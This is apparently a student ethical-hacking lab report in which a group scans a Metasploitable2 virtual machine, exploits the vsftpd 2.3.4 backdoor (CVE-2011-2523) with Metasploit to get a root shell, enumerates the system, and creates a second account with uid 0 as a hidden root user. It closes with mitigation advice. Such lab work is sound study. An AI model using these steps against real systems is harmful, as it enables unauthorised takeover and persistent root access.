

Web Server Hacking

Case study: Metasploitable2

Group 2 | Ethical Hacking | January 2026

Project objectives

- Accessing a vulnerable FTP service.
- Identifying exposed services.
- Exploiting a known vulnerability
- Demonstrating post exploitation impact

Table of Contents

Lab Environments	4
Reconnaissance & Scanning	5
Vulnerabilities Identified	7
Exploitation Overview	8
Post-Exploitation	9
Security Impact	12
Mitigation & Recommendations	13
Conclusion	14
References	15

Lab Environment

- Attacker - **Kali linux**



- Target Machine - **Metasploitable2**
- **Virtualization Platform:** Oracle VM VirtualBox
- **Environment Type:** Isolated local lab
- **Network Mode:** Host-only / Internal network
- **Purpose:** Educational penetration testing in a controlled environment

Controlled Lab Disclaimer

This assessment was conducted within a controlled virtual lab environment using Oracle VM VirtualBox.

The target system (Metasploitable 2) is intentionally vulnerable and designed for educational security testing.

No real-world systems, production networks, or unauthorized targets were involved.

Reconnaissance & Scanning

- **Network discovery performed** (running ifconfig on metasploitable and using inet address from eth0)

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:70:dd:0c
          inet addr:192.168.56.101  Bcast:192.168.56.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe70:dd0c/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:4 errors:0 dropped:0 overruns:0 frame:0
          TX packets:53 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1846 (1.8 KB)  TX bytes:7807 (7.6 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:123 errors:0 dropped:0 overruns:0 frame:0
          TX packets:123 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:33977 (33.1 KB)  TX bytes:33977 (33.1 KB)

msfadmin@metasploitable:~$
```

- Open ports identified

```
Session Actions Edit View Help
(dave@Dave)-[~]
$ sudo nmap 192.168.56.101
[sudo] password for dave:
Sorry, try again.
[sudo] password for dave:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-11 15:25 +0000
Nmap scan report for 192.168.56.101
Host is up (0.00052s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 08:00:27:70:DD:0C (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.95 seconds
```

Reconnaissance & Scanning

- FTP services detected on port 21
- Identifying FTP version(sudo nmap -sV -A -p 21 192.168.56.101)

```
Session Actions Edit View Help
(dave@Dave)~$ sudo nmap -sV -A -p 21 192.168.56.101
[sudo] password for dave:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-11 15:54 +0000
Nmap scan report for 192.168.56.101
Host is up (0.00059s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to 192.168.56.1
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     vsFTPd 2.3.4 - secure, fast, stable
|_End of status
MAC Address: 08:00:27:70:DD:0C (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Unix

TRACEROUTE
HOP RTT      ADDRESS
1   0.59 ms 192.168.56.101

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4.83 seconds
```

Vulnerability Identified

CVE-2011-2523-vsftpd 2.3.4 Backdoor

- **Description:** vsftpd stands for “Very Secure FTP Daemon,” a widely used FTP server on Linux/UNIX. The released 2.3.4 binary during that window contained code that would open a command shell listening on TCP port 6200 when triggered, essentially giving anyone remote access without authentication.
- **Why it’s Dangerous:** vsftpd 2.3.4 is dangerous because it was distributed with a deliberately planted backdoor, not just a coding mistake. This backdoor allows an attacker to gain remote command execution simply by connecting to the FTP service and sending a specially crafted username, without any authentication. Once triggered, the attacker can fully control the system, steal data, install malware, or use the server to attack others. What makes this version especially risky is that it came from a trusted source, appeared to function normally, and left little evidence of compromise, breaking the fundamental trust administrators place in security software and making undetected system takeover possible.
- **Impact Severity:**
- ❖ **CVSSv3 score:** 9.8 (Critical) — remote, no auth, full access potential.
- ❖ **Impact:** High to total compromise (attacker can run commands, pivot, install malware, exfiltrate data, etc.).

Exploitation Overview

- **Vulnerability leveraged**

- Vulnerability: Backdoored FTP Service
- Affected Service: vsftpd 2.3.4
- CVE: CVE-2011-2523

The target system was running a vulnerable version of the vsftpd FTP service that contained a known backdoor. This vulnerability allowed us to gain unauthorized remote shell access when triggered. The exploitation was carried out using a Metasploit module that targets this specific CVE.

- **Unauthorized shell access obtained**

The Metasploit module targeting CVE-2011-2523 successfully provided remote shell access, demonstrating the impact of the FTP backdoor vulnerability.

- **No credentials required**

Exploitation of the FTP vulnerability did not require valid user credentials, resulting in unauthorized shell access

Post-Exploitation

• User Context Obtained

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.56.101:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.56.101:21 - USER: 331 Please specify the password.
[+] 192.168.56.101:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.56.1:37237 → 192.168.56.101:6200) at 2026-01-11 17:02:39 +0000

whoami
root
```

• System Enumeration

- Identifying the operating system
- Viewing running services or processes
- Inspecting directory structure

```
Session Actions Edit View Help
uname -a
[*] Command shell session 5 opened (192.168.56.1:42347 → 192.168.56.101:6200) at 2026-01-12 05:03:18 +0000

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

ps aux
USER      PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.3   2844  1692 ?        Ss   Jan11    0:01 /sbin/init
root         2  0.0  0.0      0     0 ?        S<   Jan11    0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        S<   Jan11    0:00 [migration/0]
root         4  0.0  0.0      0     0 ?        S<   Jan11    0:00 [ksoftirqd/0]
root         5  0.0  0.0      0     0 ?        S<   Jan11    0:00 [watchdog/0]
root         6  0.0  0.0      0     0 ?        S<   Jan11    0:00 [events/0]
root         7  0.0  0.0      0     0 ?        S<   Jan11    0:00 [khelper]
root        41  0.0  0.0      0     0 ?        S<   Jan11    0:00 [kblockd/0]
root        44  0.0  0.0      0     0 ?        S<   Jan11    0:00 [kacpid]
root        45  0.0  0.0      0     0 ?        S<   Jan11    0:00 [kacpi_notify]
root        91  0.0  0.0      0     0 ?        S<   Jan11    0:00 [kseriod]
root       130  0.0  0.0      0     0 ?        S   Jan11    0:00 [pdflush]
root       131  0.0  0.0      0     0 ?        S   Jan11    0:00 [pdflush]
root       132  0.0  0.0      0     0 ?        S<   Jan11    0:00 [kswapd0]
root       174  0.0  0.0      0     0 ?        S<   Jan11    0:00 [aio/0]
root      1130  0.0  0.0      0     0 ?        S<   Jan11    0:00 [ksnapd]
root      1304  0.0  0.0      0     0 ?        S<   Jan11    0:00 [ata/0]
root      1307  0.0  0.0      0     0 ?        S<   Jan11    0:00 [ata_aux]
root      1316  0.0  0.0      0     0 ?        S<   Jan11    0:00 [scsi_eh_0]
root      1317  0.0  0.0      0     0 ?        S<   Jan11    0:00 [scsi_eh_1]
root      1340  0.0  0.0      0     0 ?        S<   Jan11    0:00 [ksuspend_usbd]
root      1344  0.0  0.0      0     0 ?        S<   Jan11    0:00 [khubd]
root      2062  0.0  0.0      0     0 ?        S<   Jan11    0:00 [scsi_eh_2]
root      2266  0.0  0.0      0     0 ?        S<   Jan11    0:00 [kjournald]
root      2420  0.0  0.1   2216   652 ?        S<S  Jan11    0:00 /sbin/udev --daemon
root      2797  0.0  0.0      0     0 ?        S<   Jan11    0:00 [kpsmoused]
dhcp      3450  0.0  0.1   2440   780 ?        S<S  Jan11    0:00 dhclient3 -e IF_METRIC=100 -pf /var/run/dhcl
root      3588  0.0  0.0      0     0 ?        S<   Jan11    0:00 [kjournald]
daemon    3718  0.0  0.1   1836   524 ?        Ss   Jan11    0:00 /sbin/portmap
statd     3734  0.0  0.1   1900   724 ?        Ss   Jan11    0:00 /sbin/rpc.statd
root      3740  0.0  0.0      0     0 ?        S<   Jan11    0:00 [rpciod/0]
root      3755  0.0  0.1   3648   560 ?        Ss   Jan11    0:00 /usr/sbin/rpc.idmapd
root      3982  0.0  0.0   1716   492 tty4      Ss+  Jan11    0:00 /sbin/getty 38400 tty4
root      3983  0.0  0.0   1716   488 tty5      Ss+  Jan11    0:00 /sbin/getty 38400 tty5
root      3987  0.0  0.0   1716   488 tty2      Ss+  Jan11    0:00 /sbin/getty 38400 tty2
root      3988  0.0  0.0   1716   492 tty3      Ss+  Jan11    0:00 /sbin/getty 38400 tty3
root      3991  0.0  0.0   1716   488 tty6      Ss+  Jan11    0:00 /sbin/getty 38400 tty6
syslog    4031  0.0  0.1   1936   652 ?        Ss   Jan11    0:00 /sbin/syslogd -u syslog
root      4066  0.0  0.1   1872   540 ?        S   Jan11    0:00 /bin/dd bs 1 if /proc/kmsg of /var/run/klogd
klog       4068  0.0  0.4   3284  2136 ?        Ss   Jan11    0:00 /sbin/klogd -P /var/run/klogd/kmsg
bind       4091  0.0  1.4  35408  7676 ?        Ssl  Jan11    0:00 /usr/sbin/named -u bind
root      4113  0.0  0.1   5312   992 ?        Ss   Jan11    0:00 /usr/sbin/sshd
```

Post-Exploitation

```

Session Actions Edit View Help
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
cd home
ls
ftp
intern
me
msfadmin
service
test
user

```

Some of the directories found

Post-Exploitation

- **Privilege escalation:** Having had high-privilege access(root access) immediately after exploiting. We created a regular user-account and gave it root access/high privilege access.

```
Session Actions Edit View Help
whoami
root

adduser practical
Adding user `practical' ...
Adding new group `practical' (1006) ...
Adding new user `practical' (1005) with group `practical' ...
Creating home directory `/home/practical' ...
Copying files from `/etc/skel' ...
Enter new UNIX password: testing
Retype new UNIX password: testing
passwd: password updated successfully
Changing the user information for practical
Enter the new value, or press ENTER for the default
  Full Name []:
   Room Number []:
  Work Phone []:
  Home Phone []:
   Other []:

Is the information correct? [y/N] Changing the user information for practical
Enter the new value, or press ENTER for the default
  Full Name []:
   Room Number []:
  Work Phone []:
  Home Phone []:
   Other []:

y
Is the information correct? [y/N] y
sh: line 21: y: command not found

whoami
root

su practical
whoami
practical
su
su: must be run from a terminal
exit
whoami
root
sudo usermod -u -0 -o practical
usermod: user practical does not exist
sudo usermod -u -0 -o practical
id practical
uid=0(root) gid=1006(practical) groups=0(root)
su practical
sudo su
su
█
```

Security Impact

- **Full System Compromise Possible:** Exploitation of the vulnerable FTP service can result in full system compromise, allowing an attacker extensive control over the affected host.
- **Data Exposure Risk:** Because unauthorized access was obtained, sensitive data stored on the system could be viewed, copied , or misused by an attacker.
- **Remote Attacker Control:** An attacker can control the system from another machine over the network, without being physically present or authorized.

Mitigation & Recommendations

- **Upgrade or Reinstall FTP Service:** The vulnerable FTP software was old and compromised. Updating or reinstalling it replaces the broken version with a clean, secure one.
- **Disable FTP in Favour of SFTP:** FTP sends data (including passwords) in plain text. SFTP uses encryption and is much safer.
- **Restrict Service Exposure:** Only allow services (like FTP) to be accessible by systems that actually need them.
- **Monitor and Audit Services:** Regularly check what services are running, how they're behaving, and whether anything suspicious is happening.

Conclusion

- FTP services remain high-risk if unpatched
 - Ftp is an old protocol, and when it's not updated or properly secured, it becomes an easy target.
- Known CVEs are still widely exploitable
 - Most Attacks succeed because systems are not updated not because vulnerabilities are well known
- Secure configuration is critical
 - Security Misconfigured or poorly configured can be dangerous

References

- Rapid7 Metasploitable documentation
- Exploit-DB CVE-2011-2523
- Academic lab references